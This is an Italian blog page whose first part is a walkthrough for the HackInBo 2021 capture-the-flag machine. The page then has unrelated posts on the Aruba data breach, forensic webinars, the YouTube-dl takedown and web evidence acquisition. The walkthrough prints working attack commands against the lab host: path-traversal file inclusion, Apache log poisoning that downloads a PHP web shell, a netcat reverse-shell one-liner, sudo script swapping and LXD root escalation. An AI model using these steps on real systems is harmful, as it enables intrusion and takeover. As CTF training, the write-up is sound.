HackInBo 2021 CTF — Guida alla risoluzione

Durante la diciassettesima edizione di HackInBo (Safe Edition) si è svolta una competizione Capture The Flag organizzata da CyberTeam. Si tratta di gare in cui bisogna risolvere dei problemi di sicurezza informatica e provare a violare dei sistemi appositamente costruiti, guadagnando delle flag che danno diritto a un punteggio.

Tali competizioni costituiscono attività “ludiche” estremamente importanti per i colleghi che si occupano di penetration testing (tengono allenate le proprie capacità), ma anche per noi informatici forensi, perché ci permettono di migliorarci pensando come gli attaccanti e quindi risultare più efficaci quando dobbiamo analizzare un’intrusione informatica.

L’argomento della sfida, che si può ancora giocare online, è l’ottenimento di privilegi di amministratore a partire da un’applicazione web:

CTF creata ad hoc per l’evento che permette di mettere alla prova le proprie abilità boot to root. Partendo da una web application, con una serie di movimenti laterali bisognerà arrivare al root della macchina recuperando le 3 flag durante il percorso per arrivare al massimo livello dei privilegi amministrativi.

Questa pagina spiega dall’inizio alla fine il procedimento che ho seguito per risolvere i vari livelli. Se siete intenzionati a partecipare, vi consiglio di non leggere oltre in quanto ovviamente contiene spoiler.

Ricognizione iniziale

Dopo aver avviato una macchina virtuale con la propria distro preferita (per esempio Kali) e collegato la VPN, si può procedere a una scansione dell’host con Nmap:

$ nmap -P0 10.10.250.66
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-08 22:49 CET
Nmap scan report for dev.cyberteam.ctf (10.10.170.93)
Host is up (0.075s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds

Si nota che sono aperte la porta SSH e quella HTTP. Ho dunque visitato l’URL nel browser, ottenendo una pagina di benvenuto con riferimento a un indirizzo email e a un account Twitter.

Pagina visualizzata collegandosi all’IP della macchina

Attività di OSINT

Visitando il profilo Twitter, si nota che l’utente ha pubblicato un contenuto un po’ sibillino:

Grazie a Wayback Machine ho recuperato un tweet precedentemente cancellato, il quale contiene delle credenziali (j0hn_d03 e la password P4$$w0RdS1Cur4). Resta da capire dove utilizzare queste credenziali.

Il vero sito web

Notando la scritta dev.cyberteam.ctf si può pensare che sia un virtual host, perciò ho inserito una riga DNS nel file /etc/hosts:

10.10.250.66 dev.cyberteam.ctf

Visitando questo indirizzo si ottiene un risultato diverso, con un modulo di login pronto ad accettare le credenziali trovate.

Modulo di login esposto dal virtual host

Dopo il login, si accede a un’area nascosta nel percorso /menu/. Le pagine sono gestite in un modo un po’ particolare, con link simili al seguente:

http://dev.cyberteam.ctf/menu/?view=news.php

Provando a modificare il parametro view risulta subito chiaro che c’è un filtro basilare sul contenuto inserito, che vieta valori “totalmente” arbitrari. Tuttavia, mantenendo fisso il prefisso news si può modificare ciò che segue senza scatenare ulteriori controlli. Ho verificato la vulnerabilità LFI accedendo alla lista degli utenti:

http://dev.cyberteam.ctf/menu/?view=newss/../../../../../../../etc/passwd
Inclusione di un file arbitrario nell’output visualizzato

Ottenere la prima shell

Ci sono alcuni modi diversi per ottenere l’esecuzione di comandi arbitrari in questo contesto. Personalmente ho deciso di seguire la guida di Null Byte, facendo eseguire codice PHP iniettato nel file di log di Apache. Ho deciso di sfruttare questa possibilità per caricare una comoda shell in PHP che mi permettesse di eseguire comandi un po’ più complessi in modo semplice.

Innanzitutto ho scaricato il file e lo ho reso disponibile sfruttando il server di Apache fornito da Kali (sulla macchina d’attacco):

$ curl https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php > /var/www/html/shell.txt
$ systemctl start apache2

Ho quindi iniettato il codice tramite Netcat:

echo "<?php echo shell_exec('wget -O /var/www/html/shell.php http://10.9.2.17/shell.txt'); ?>" | nc dev.cyberteam.ctf 80 

A questo punto è stato sufficiente usare la precedente vulnerabilità LFI per far stampare a video il file /var/log/apache2/access.log, scatenando l’esecuzione del comando desiderato. Questo mi ha permesso di ottenere una shell visitando il percorso http://10.10.250.66/shell.php, rendendo il resto del lavoro più semplice.

La shell PHP p0wny@shell

Da Netcat a una “vera” Bash

Il passaggio che ha portato all’ottenimento della prima flag per me è stato il più ostico, dopo aver sbattuto la testa per alcune ore ho deciso di lasciare perdere per un paio di giorni e ritornarci a mente fresca. La realtà è che la soluzione era molto più facile del previsto, ma non era realizzabile dalla shell PHP. C’era bisogno di una “vera” Bash che permettesse di eseguire comandi interattivi e accettasse quindi l’input dalla tastiera.

Il primo passo è stato ottenuto passando attraverso una reverse shell con l’uso di Netcat. Dato che il comando nc sulla macchina da attaccare era privo del parametro -e, ho usato Metasploit per generare un comando alternativo:

$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.9.5.240 LPORT=4444 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 100 bytes
mkfifo /tmp/xhxxbgn; nc 10.9.5.240 4444 0</tmp/xhxxbgn | /bin/sh >/tmp/xhxxbgn 2>&1; rm /tmp/xhxxbgn

Ho lanciato nc -lvp 4444 per rimanere in ascolto nel mio terminale, quindi il comando suggerito da Metasploit nella shell PHP caricata in precedenza. Stabilita la connessione base con Netcat, ho invocato Bash tramite Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Così facendo ho potuto provare a cambiare utente con il comando su j0hn_do3, tentando la fortuna con la password dell’applicazione web. La procedura di login ha funzionato ed è stato possibile accedere alla prima flag.

Accesso come utente j0hn_do3

Privilege escalation

Potendo esplorare i file contenuti nella home directory dell’utente j0hn_do3, ho notato subito la presenza di uno script denominato passwordgen.py che risulta di proprietà di h4k1nb0 e non modificabile. La cosa ancora più interessante è che questo script può essere lanciato dall’utente con il comando sudo, ottenendo quindi i privilegi di h4k1nb0:

$ cat /etc/sudoers.d/j0hn_do3
j0hn_do3 ALL = (h4k1nb0) /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py

Il file è di proprietà di un altro utente, quindi non è modificabile. Tuttavia, il proprietario della cartella home lo può pur sempre rinominare! Perciò ho creato un nuovo file con il codice per eseguire Bash e li ho scambiati:

$ echo 'import pty; pty.spawn("/bin/bash")' > passwordgen2.py
$ mv passwordgen.py coso.py
$ mv passwordgen2.py passwordgen.py

Infine ho lanciato lo script e ottenuto una shell con i permessi di h4k1nb0, accedendo alla flag successiva:

sudo -u h4k1nb0 /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
Accesso come utente h4k1nb0

Per rendere il resto dell’attacco più pratico, ho deciso di inserire la mia chiave SSH pubblica nella lista di quelle autorizzate per l’utente:

echo "ssh-rsa AAAAB3Nz[...]KIU= kali@kali" > .ssh/authorized_keys

Ho chiuso la sessione e mi sono collegato con SSH, ottenendo la possibilità di usare l’autocompletamento e i tasti freccia per scorrere gli ultimi comandi digitati:

ssh h4k1nb0@dev.cyberteam.ctf

Accesso con privilegi di root

L’ultimo livello richiede di ottenere i privilegi amministrativi sulla macchina, in altri termini è necessario riuscire a ottenere un accesso con utente root. Cercando qualche appiglio riguardante l’utente h4k1nb0, è emerso un file nascosto chiamato .creds, dal contenuto apparentemente succulento:

$ cat .creds  
I'm tired of forgetting it!!!!!!


P0w3r0V3rw3LM1ng

Purtroppo questa si è rivelata una falsa pista. Dopo alcuni tentativi ho notato che l’utente appartiene a un gruppo particolare, vale a dire lxd:

$ grep h4 /etc/group
adm:x:4:syslog,h4k1nb0
cdrom:x:24:h4k1nb0
sudo:x:27:h4k1nb0
dip:x:30:h4k1nb0
plugdev:x:46:h4k1nb0
lxd:x:108:h4k1nb0
h4k1ngb0:x:1000:

Una veloce ricerca per “lxd group” rivela immediatamente un link molto interessante, cioè una guida piuttosto semplice per ottenere privilegi di root a partire dalla possibilità di avviare container LXD. Io ho usato il metodo 2.

Nella macchina di attacco ho scaricato il necessario e costruito un container con Alpine Linux:

git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

Il file è stato copiato sulla macchina da violare:

scp alpine-v3.13-x86_64-20210218_0139.tar.gz h4k1nb0@dev.cyberteam.ctf:/home/h4k1nb0/

Infine, sul server ho importato ed eseguito il container:

lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

Ciò ha permesso di ottenere una shell con accesso amministrativo e la possibilità di agire su qualsiasi file della macchina attraverso il mount point /mnt/root. La flag è nel percorso /mnt/root/root/root.txt.

Accesso con privilegi di root

Conclusioni

Seguendo le sfide proposte nella competizione, è stato possibile “bucare” un’applicazione web vulnerabile e scalare i privilegi fino ad arrivare al controllo totale della macchina.

Personalmente ho trovato abbastanza “sbilanciata” l’assegnazione dei punteggi delle flag, in quanto la parte più ostica è stata la prima, mentre il resto è stato risolto in meno di un’ora. Mi sono confrontato con un altro partecipante alla gara e anch’egli ha avuto un’impressione simile.

In ogni caso, sono grato agli organizzatori di HackInBo e a CyberTeam per avere reso possibile questa attività. Partecipare mi ha permesso di “rispolverare” strumenti come le reverse shell che non vedevo granché dai tempi delle competizioni CTF universitarie, nonché approfondire l’uso di Metasploit e l’ottenimento dei privilegi di root tramite LXD.

Chiaramente le gare CTF di sicurezza offensiva sono un po’ diverse da quelle di digital forensics, ma è molto importante partecipare a questi eventi in quanto fanno parte del continuo aggiornamento professionale, che oserei definire tassativo per chi si occupa di queste tematiche.

Data breach di Aruba: come difendersi e ottenere chiarimenti

Questa triste storia “all’italiana” inizia il 23 aprile 2021: Aruba (uno dei più famosi provider italiani di servizi web, firma digitale e PEC) subisce una violazione informatica — un cosiddetto data breach. Nello stesso periodo, operando senza dare troppo nell’occhio, l’azienda interviene sui propri sistemi per forzare a tutti i clienti un cambio delle password, senza tuttavia indicare il motivo specifico.

Dopo più di 80 giorni, il 14 luglio 2021, il provider informa i propri clienti della circostanza. A dire il vero, alcuni (come me) sono stati informati il giorno successivo, ma poco importa. Fino a quel momento ai clienti era sempre stata negata qualunque informazione in merito a possibili attacchi, nonostante la manovra del cambio password fosse sembrata a molti “quantomeno bislacca” (cit. Orlando Serpentieri).

Un professionista aveva chiesto conto ad Aruba riguardo la massiccia operazione di cambio password

L’email inviata da Aruba a metà luglio, oltre che estremamente tardiva, è scritta in modo da minimizzare nel modo più assoluto quanto successo. L’oggetto del messaggio è semplicemente “Comunicazione“, un titolo che passa inosservato, probabilmente ritenuto più innocuo di “Avviso VIOLAZIONE dati” o “Ci hanno sfondato il sistema”.

Il testo del messaggio è davvero peculiare, in quanto sottolinea che non ci sono state alterazioni di dati, né cancellazioni:

desideriamo informarla che il 23 aprile scorso abbiamo rilevato e bloccato un accesso non autorizzato alla rete che ospita alcuni dei nostri sistemi gestionali, ma nessun dato è stato cancellato né alterato

Aruba

Sempre relativamente ai dati, in seguito si ribadisce che la loro “integrità e disponibilità non sono state impattate in alcun modo”. Peccato che in tutto questo si sorvoli sul fattore più importante: la confidenzialità. I dati menzionati sono:

  • nome e cognome
  • codice fiscale
  • indirizzo, città, CAP, provincia
  • telefono
  • indirizzo email, indirizzo PEC
  • login all’area clienti
  • password (protette da crittografia forte)

Agli occhi di un utente poco esperto di sicurezza informatica il messaggio potrebbe lasciare l’idea che non sia successo niente di grave, ma in verità non si dice nulla riguardo il fatto che questi dati possano essere stati letti o copiati da terze parti non autorizzate. Viene da pensare che la bizzarra scelta di parole non sia casuale, ma strategicamente pensata per minimizzare gli eventi.

Il messaggio termina con alcuni consigli generici relativi ad accortezze per evitare le truffe (stare attenti alle email che sembrano provenire dal provider, non divulgare password, e così via) ma sostanzialmente dichiara all’utente che “non è necessaria alcuna azione”.

Tutto a posto quindi? Naturalmente no.

Innanzitutto, un aspetto assolutamente incredibile è che l’azienda riferisca di aver inviato la comunicazione quasi come se fosse stata una sorta di cortesia verso il cliente:

A conclusione di tutte le nostre analisi, abbiamo ritenuto doveroso informarla dell’accaduto seppur non sia richiesta alcuna azione da parte sua.

Aruba

La realtà è diversa: informare di un data breach è un obbligo di legge, ai sensi del GDPR. Questo oltretutto dovrebbe essere fatto in modo repentino, non tardivo. La lungaggine di Aruba ha raggiunto persino le testate internazionali (es. Aruba waited months to notify customers regarding a recent data breach).

L’opinione di un DPO che conferma l’ambiguità e la tardività della comunicazione

Oltre a questo, permane la mancanza di chiarezza sul fatto che una terza parte abbia avuto accesso ai dati. Sui social si sono scatenate molte reazioni ironiche, con frasi come “i nostri dati vanno Aruba”. Al di là della parentesi goliardica, molti clienti vogliono giustamente avere delle risposte chiare.

Come richiedere chiarimenti ad Aruba

La mancanza di chiarezza in merito alla possibilità che i dati siano stati letti ha portato molte persone a contattare l’azienda, che ha fornito un indirizzo email normale (non PEC) dedicato. Vari clienti hanno ricevuto una risposta a voce, non per iscritto, il che lascia piuttosto perplessi.

Una parziale conferma fornita da Aruba, dopo ripetute insistenze

Personalmente ho inviato un’istanza ad Aruba tramite PEC il 21 luglio 2021, richiedendo dei chiarimenti ed esercitando il diritto di accesso ai dati personali ai sensi dell’articolo 15 del Regolamento UE 2016/679. Quest’ultimo passaggio è importante perché obbliga l’azienda a rispondere, per non rischiare di incorrere in sanzioni.

Pensavo di attendere qualche giorno per la risposta, prima di scrivere questo post, però non è ancora pervenuta. Ho deciso pertanto di scrivere alcune indicazioni su come chiedere chiarimenti ad Aruba e fornirvi un modello della mia lettera, nel caso vi possa tornare utile.

Vi ricordo che io non sono un avvocato, sono semplicemente un consulente informatico forense, e questo articolo non costituisce una consulenza legale. Detto questo, se volete scaricare il modello in formato modificabile potete cliccare qui sotto:

Per utilizzare il modello seguite queste istruzioni:

  • Aprite il file con un programma di videoscrittura e modificate tutte le parti di colore rosso, inserendo i vostri dati
  • Leggete il documento per intero, effettuando le modifiche che ritenete opportune
  • Convertite in PDF e firmate (meglio se con firma digitale, altrimenti va allegata la copia di un documento di identità)
  • Inviate il documento firmato preferibilmente all’indirizzo PEC aruba@aruba.pec.it, includendo in copia anche infoprivacy@staff.aruba.it

Qualora l’azienda non dovesse rispondere nel termine di 30 giorni dalla vostra richiesta, potrete procedere all’inoltro di un reclamo al Garante per la Protezione dei Dati Personali. Il modello per il reclamo è consultabile cliccando qui.

Una volta ricevuta una risposta di Aruba provvederò ad aggiornare questo post.

Se lo desiderate, potete condividere le vostre esperienze con la richiesta (ed eventuale risposta) qui sotto nei commenti.

Acquisizione forense di pagine web: obiettivi, approcci e metodologie — HackInBo 2021

Il 29 maggio 2021 si svolgerà la nuova edizione di HackInBo, la prima e più attesa conferenza gratuita su sicurezza informatica e hacking, che ogni anno attira migliaia di partecipanti da tutta la penisola.

Il programma è ricco di interventi interessanti e io sarò impegnato con la realizzazione di un laboratorio interamente dedicato al processo di preservazione delle prove presenti sul web:

Questo intervento si svolgerà sotto forma di laboratorio per l’acquisizione forense di pagine web. Nello specifico ragioneremo su una metodologia che si possa poi applicare a vari strumenti, a seconda dei casi. Mostrerò alcuni esempi di acquisizioni e ne approfitteremo per una discussione comparativa e il ruolo dei vari tool quali Wireshark, OSIRT Browser, mitmproxy, Archiveweb.page, Carbon14 e i siti di archiviazione come WayBack Machine.

Si tratta di un argomento sempre più rilevante, in quanto cristallizzare il contenuto di pagine web, articoli di giornale, blog e social network è spesso utile nei procedimenti legali per difendersi o tutelare i propri interessi.

Indicazioni operative

L’evento si svolgerà interamente online e sarà trasmesso in streaming. I biglietti per iscriversi e partecipare ai vari laboratori di questa Lab Edition saranno disponibili a partire dal 6 maggio (domani) alle 10:00. Fate riferimento direttamente al sito ufficiale di HackInBo per l’iscrizione.

Riguardo il mio intervento, per seguirlo attivamente vi sarà necessario scaricare un po’ di software: alcuni sono multipiattaforma, altri funzionano solo su Windows. Per questo è caldamente consigliata una VM con Windows 7 o 10 scaricabile da qui.

Multipiattaforma:

Programmi per Windows:

Vi aspetto il 29 maggio!

Materiale

Potete scaricare le slide del mio intervento cliccando qui.

Il video è stato reso disponibile sul canale YouTube di HackInBo e potete vederlo qui sotto:

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Webinar su RecuperaBit e l’analisi forense di NTFS — 3 marzo 2021

Nell’ambito del ciclo di seminari che seguono la conclusione della Open Source Digital Forensics Conference 2020, sono stato invitato a tenere un intervento online che si svolgerà il mese prossimo.

L’incontro, organizzato da Basis Technology, verterà sull’analisi forense di partizioni NTFS. In particolare, parlerò di RecuperaBit, il mio software per la ricostruzione di file system NTFS danneggiati. Il webinar è destinato a un pubblico internazionale, perciò sarà interamente in lingua inglese.

La diretta avrà luogo il 3 marzo 2021 a partire dalle 17:00, ora italiana. La registrazione sarà disponibile esclusivamente per chi si sarà registrato (gratuitamente) all’evento.

Questo è l’abstract:

RecuperaBit: Present and Future of NTFS Reconstruction

File system corruption, either accidental or intentional, may compromise the ability to access and recover the contents of files during data recovery and digital forensics activities. Conventional techniques, such as file carving, allow for the recovery of file contents partially, without considering the file system structure. However, the loss of metadata may prevent the attribution of meaning to extracted contents, given by file names or timestamps. RecuperaBit implements a signature recognition process that matches and parses known file records, followed by a bottom-up reconstruction algorithm which is able to recover the structure of the file system by rebuilding the entire tree, or multiple subtrees if the upper nodes are missing. Partition geometry is determined even if the boundaries are unknown by applying an approximate string matching algorithm.

This talk aims to introduce the algorithms used by RecuperaBit and to discuss future plans to make the tool more usable, streamlined and user-friendly by re-thinking its command line user interface.

Per prenotare il vostro posto e seguire il webinar, potete utilizzare il link:

Iscrizione al webinar

Vi aspetto numerosi!

Materiale

Potete scaricare le slide del mio intervento cliccando qui.

Il video del webinar è stato reso disponibile sul canale YouTube di Basis Technology e potete vederlo qui sotto:

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

ONIF Digital Forensics Webinar 2020 — 03/12/2020

L’associazione ONIF (Osservatorio Nazionale Informatica Forense) organizza un seminario online completamente gratuito, con l’obiettivo di consentire, anche in questo periodo di restrizioni, di poter accedere ad un aggiornamento professionale con i migliori esperti del settore.

Il webinar sulla Digital Forensics è particolarmente indicato per consulenti tecnici, avvocati e professionisti informatici. Nello specifico, il programma propone interventi relativi a multimedia forensics, mobile forensics e attività di OSINT e acquisizione forense di Instagram:

  • 15:00 · Saluti del Presidente C3I
    Ing. Armando Zambrano
  • 15:05 · Introduzione del Presidente ONIF
    Paolo Reale, delegato C3I Ordine di Roma
  • 15:15 · Multimedia Forensics nell’era della computational photography
    Massimo Iuliani
  • 15:40 · Data validation di informazioni derivanti da estrazione mobile con altri elementi
    Nicola Chemello
  • 16:05 · Uso delle API di Instagram per l’acquisizione forense
    Andrea Lazzarotto
  • 16:30 · Mac computer data access with MacQuisition
    Tim Thorne, Senior Solutions Expert at Cellebrite
  • 16:50 · Sponsored talk
    Cellebrite
  • 17:10 · Q&A e saluti
    Paolo Reale, delegato C3I Ordine di Roma

L’evento, moderato da Ugo Lopez, è organizzato con il patrocinio del Comitato Italiano Ingegneria dell’Informazione C3I, dell’Ordine degli Ingegneri di Roma e di Bari e la collaborazione di Cellebrite.

Per partecipare è obbligatorio procedere all’iscrizione gratuita sulla piattaforma EventBrite, facendo click sul seguente pulsante. Il numero di posti è limitato.

Iscrizione al webinar

Materiale

Potete scaricare il materiale (slide e esempi di codice) del mio intervento cliccando qui.

I video dei talk sono stati pubblicati in una playlist su YouTube. Nel video incorporato qui sotto potete cliccare sul tasto in alto a destra per accedere agli altri contenuti:

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Il codice sorgente di YouTube-dl è stato rimosso da GitHub, ma gli utenti del web non l’hanno presa benissimo

Chi di voi si interessa al salvataggio dei contenuti audio/video dai siti web avrà sicuramente già sentito parlare di YouTube-dl. Si tratta di un software completamente open source, rilasciato addirittura nel pubblico dominio, che nel sito ufficiale è presentato in modo molto semplice:

YouTube-dl è un programma a riga di comando per scaricare video da YouTube.com e da qualche altro sito.

About youtube-dl

In realtà, a dispetto del nome “limitante”, il programma contiene oltre 1000 estrattori per le fonti più disparate, riunendo la potenza di strumenti esterni, quali FFmpeg, con codice scritto ad-hoc per moltissimi siti.

Concettualmente, l’idea è simile ai miei script per i siti delle TV italiane: si scrive del codice specifico che si adatta ai portali che si desidera supportare. Finora questo codice era mantenuto sulla piattaforma GitHub, la più grande comunità di sviluppatori software del mondo, di proprietà di Microsoft.

La richiesta di rimozione

Il 23 ottobre 2020, la Recording Industry Association of America (RIAA) ha presentato un’istanza di rimozione ai sensi del Digital Millenium Copyright Act (DMCA), richiedendo la rimozione del repository principale del progetto, nonché svariate versioni clonate o derivate (dette fork).

La vicenda è stata spiegata nel dettaglio su XDA Developers ma, riassumendo, la RIAA sostiene che YouTube-dl sia uno strumento atto a violare i diritti di copyright dei suoi assistiti (artisti e case discografiche). In realtà ci sono diversi aspetti problematici relativi a questa argomentazione.

Il tweet della EFF dove si spiega che YouTube-dl è uno strumento legittimo, con svariate applicazioni perfettamente legali

Come ha spiegato la Electronic Frontier Foundation (EFF), YouTube-dl è uno strumento lecito e può essere utilizzato per molti scopi assolutamente validi. Restando nell’ambito di YouTube, senza quindi citare le centinaia di altri siti web supportati, si possono scaricare video con licenza Creative Commons o nel pubblico dominio, come quelli governativi.

Inoltre, alcuni creatori di contenuti o persone che appaiono nei video usano il programma per scaricare i propri contenuti. Ne so qualcosa anch’io.

Insomma, sostenere che un software del genere sia illegale è un po’ come richiedere che sia proibita la vendita dei coltelli da cucina, in quanto oltre a sfilettare il pesce ci si possono potenzialmente fare altre cose.

Oltre a questo, la RIAA (entità americana) nella propria istanza mette insieme un’accozzaglia di motivazioni diverse, citando il DMCA (una legge statunitense) e subito dopo facendo riferimento a una decisione della Corte Regionale di Amburgo ai sensi del diritto tedesco. (?!?!?)

GitHub è un’entità americana, quindi deve sottostare alle richieste DMCA, tuttavia il fatto che tale atto abbia ripercussioni su tutti gli utenti a livello mondiale è una conseguenza che non deve essere sottovalutata.

Infine, è opportuno spiegare che l’unica possibilità che resta agli sviluppatori, volendo restare su GitHub, è quella di opporsi all’istanza, andando incontro a lunghe e costose vicende giudiziarie. In sostanza, presentare la richiesta per la RIAA è semplice ed economico, contrastarla richiede molto denaro ed è difficile, specie per un progetto open source.

Le reazioni in rete

Oltre alla citata presa di posizione della EFF (che fa quindi ben sperare in un coinvolgimento in difesa degli sviluppatori), non sono mancate numerose reazioni online.

Altre persone hanno cominciato a condividere nuove copie del codice (o, in gergo, forkare) su GitHub stesso, nonché su GitLab, BitBucket e tutte le piattaforme “alternative” ad esso, famose o meno.

Tuttavia, mi vorrei soffermare su due casi che ho visto online e che sono assolutamente fenomenali.

Innanzitutto, l’utente Twitter lrvick ha utilizzato un difetto noto da tempo a GitHub (e considerato “indegno” di essere corretto) per inserire una copia del codice sorgente di YouTube-dl direttamente all’interno del repository DMCA di GitHub.

Quindi, a livello teorico, ora la RIAA dovrebbe richiedere a GitHub di cancellare il repository di tutte le istanze DMCA, in quanto contiene il codice “incriminato”. 😀

Per farsi beffe di YouTube, invece, l’utente GitHub gasman ha condiviso un piccolo pezzo di codice e un video postato su YouTube, che contiene una codifica visuale (in binario) del codice sorgente del programma.

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Scaricando e decodificando questo video, caricato su YouTube, è possibile ottenere una copia del codice di YouTube-dl

A tutti gli effetti, gli utenti ora possono usare YouTube per condividere con gli altri un software usato per scaricare i video di tale sito.

In sostanza si è scatenato un vero e proprio effetto Streisand.

Cosa fare ora

In attesa di vedere l’evolversi della vicenda, è importante capire quali opzioni rimangono per scaricare i video da YouTube e da altri siti web, per scopo personale o comunque per altri usi legittimi.

Innanzitutto, c’è da chiarire che i download del programma sul sito ufficiale sono ancora attivi. Nel dubbio, è meglio usare solo yt-dl.org e ottenere una copia del software da lì. Gli utenti Linux e macOS possono usare anche Homebrew, pip o il proprio gestore di pacchetti.

Chi preferisce provare qualche alternativa può valutare l’uso di The Stream Detector (in accoppiata con streamlink oppure ffmpeg), JDownloader o altri programmi. Nei casi più difficili, può tornare utile leggere la mia guida completa per il download dei contenuti audio e video presenti nelle pagine web.

La cosa più importante rimane, in ogni caso, diffondere la conoscenza di questa vicenda e riflettere sulle conseguenze che atti del genere possono avere sulla nostra fruizione dei contenuti web.


Aggiornamento: il 16 novembre 2020 GitHub ha annunciato di avere reintegrato il repository del progetto, anche in seguito a una risposta ufficiale di EFF e alcune modifiche effettuate sul codice sorgente.

Falsificazione dei messaggi WhatsApp sui dispositivi Android e iOS — Treviso Forensic 2020

Dal 30 settembre al 2 ottobre 2020 si terrà la terza edizione di Treviso Forensic, uno dei principali appuntamenti tra professionisti (tecnici, avvocati, magistrati, …) che operano nel settore delle scienze tecniche applicate in ambito forense.

L’evento è organizzato dall’Ordine degli Ingegneri di Treviso e favorisce la figura del tecnico forense, con un approccio multidisciplinare che coinvolge diverse scienze.

La mattina del 2 ottobre conterrà una sessione interamente dedicata alla digital forensics e parteciperò con un intervento intitolato “Falsificazione dei messaggi WhatsApp sui dispositivi Android e iOS”.

Qui ve ne anticipo l’introduzione:

In Italia WhatsApp è la piattaforma di messaggistica istantanea più popolare in assoluto, con una penetrazione del mercato dell’84%. Questo fa sì che la produzione delle relative conversazioni si presenti sempre più frequentemente in vari procedimenti. I consulenti tecnici sono chiamati ad estrarre le chat dai dispositivi personali delle parti, in quanto il contenuto dei messaggi non viene conservato sui server.

Trattandosi di messaggi non riscontrabili dai tabulati telefonici, si pone il problema di valutare la genuinità e l’integrità del contenuto delle chat. Il presente lavoro è nato con lo scopo di verificare se fosse possibile per un utente falsificare i messaggi WhatsApp all’interno del proprio dispositivo, con Android o iOS.

Il talk conterrà un breve riassunto di un argomento che ho già avuto modo di trattare l’anno scorso al convegno ONIF, per poi presentare per la prima volta in assoluto una dimostrazione di messaggi WhatsApp falsificati su iOS.

Quest’anno, data la particolare situazione sanitaria causata dalla diffusione del Covid-19, il seminario si terrà in modalità webinar tramite la piattaforma Zoom.

Ciò significa che non potremo godere della vista di una città bella come Treviso, in compenso la partecipazione potrà essere estesa anche alle persone che si trovano più lontano.

Trovate tutti i dettagli relativi a programma e iscrizione sul sito ufficiale di Treviso Forensic.

La tua prima app Android e iOS con Ionic Framework

Chi mi segue abitualmente già lo sa, da tempo partecipo come relatore a ESC, un incontro non-profit di persone interessate al Software e Hardware Libero, all’Hacking e al DIY che si svolge a fine estate presso Forte Bazzera, vicino a Venezia.

Nel 2016 ho parlato di ricostruzione forense di NTFS, nel 2017 di Gimp e della comunità Ask Ubuntu e nel 2018 di un sistema di build automatizzato per realizzare una distribuzione Linux forense come Caine.

Anche quest’anno ho voluto dedicarmi allo sviluppo software, stavolta però ho proposto un talk riguardante la creazione di app per le piattaforme Android e iOS usando tecnologie web:

La tua prima app Android e iOS con Ionic Framework

Moltissime applicazioni per smartphone hanno una struttura simile e abbastanza semplice. Lo sviluppo nativo richiederebbe di programmarle con linguaggi e ambienti diversi a seconda della piattaforma. Ionic Framework è una piattaforma di sviluppo gratuita e open source che permette di usare una sola codebase esportando poi app ibride per Android, iOS e browser.

Il talk è stato pubblicato su YouTube, mentre potete scaricare il codice di esempio su GitHub. Sono disponibili anche le slide in formato PDF.

Ovviamente, non perdetevi gli altri talk sul canale ufficiale ESC, perché erano tutti estremamente interessanti!

Se la vostra azienda ha bisogno di un’app ma non ha il tempo o le risorse per svilupparla internamente, potete sempre contattarmi cliccando qui.

Clicca qui per mostrare contenuto da YouTube.
Scopri di più nella privacy policy di YouTube.

Acquisizione forense di un profilo Instagram

Al giorno d’oggi capita sempre più frequentemente di dover acquisire delle prove dai siti web, in particolar modo dai social network. Ci si trova quindi a dover “cristallizzare” il contenuto di una pagina prima che venga alterato oppure cancellato.

Il caso più classico è quello della diffamazione a mezzo Internet: la vittima del fatto ha la necessità di certificare l’offesa alla propria reputazione, avvenuta tramite un commento su un blog o un post su Facebook.

Un’altra circostanza piuttosto frequente è la tutela della proprietà intellettuale e industriale. Le pagine social aziendali attirano potenziali clienti e sono un ottimo strumento di marketing. Dei soggetti terzi potrebbero sfruttare illecitamente marchi, foto di prodotti o contenuti altrui a proprio vantaggio.

Quest’ultimo è un caso che mi è capitato recentemente: la pagina Instagram di un’azienda è stata indebitamente acceduta da una persona che se ne è appropriata, cambiandone il marchio e i dati di contatto. Questo fatto ha comportato l’alterazione di dati informatici (vedasi art. 635 bis c.p.), nonché un evidente danno all’azienda in quanto si è vista sottrarre anche numerose foto dei propri prodotti e i follower della pagina.

Lo screenshot non basta

In tutti questi casi c’è da fare una breve ma importantissima precisazione. Purtroppo alcune persone ritengono ancora sufficiente l’utilizzo degli screenshot come “prova” in un procedimento civile o penale. Il pensiero comune è:

Ho fatto lo screenshot! Ora lo trasmetto al mio avvocato e ti querelo!

Questo ragionamento fa acqua da tutte le parti.

Uno screenshot, vale a dire l’immagine dello schermo (o presunta tale) che “cattura” il contenuto di un sito web o una chat, non si può considerare una prova valida.

Il contenuto di una schermata può essere infatti alterato sia prima che dopo aver prodotto lo “scatto”. Tutto questo non richiede conoscenze tecniche particolarmente elevate, specialmente per le pagine web.

Se non vi ho convinto, potete sempre farmi i complimenti per la mia nomina a “Persona dell’anno 2019”. 😉

Esempio di screenshot assolutamente falso, creato solamente per scopi illustrativi

Ovviamente avrete capito che l’immagine qui sopra non è reale. Ma il punto è che si tratta veramente di una notizia comparsa online, che però è stata modificata prima di catturare la schermata.

Questa è una operazione alla portata di molti (se non quasi tutti), ma anche la modifica dell’immagine a posteriori è un rischio non indifferente.

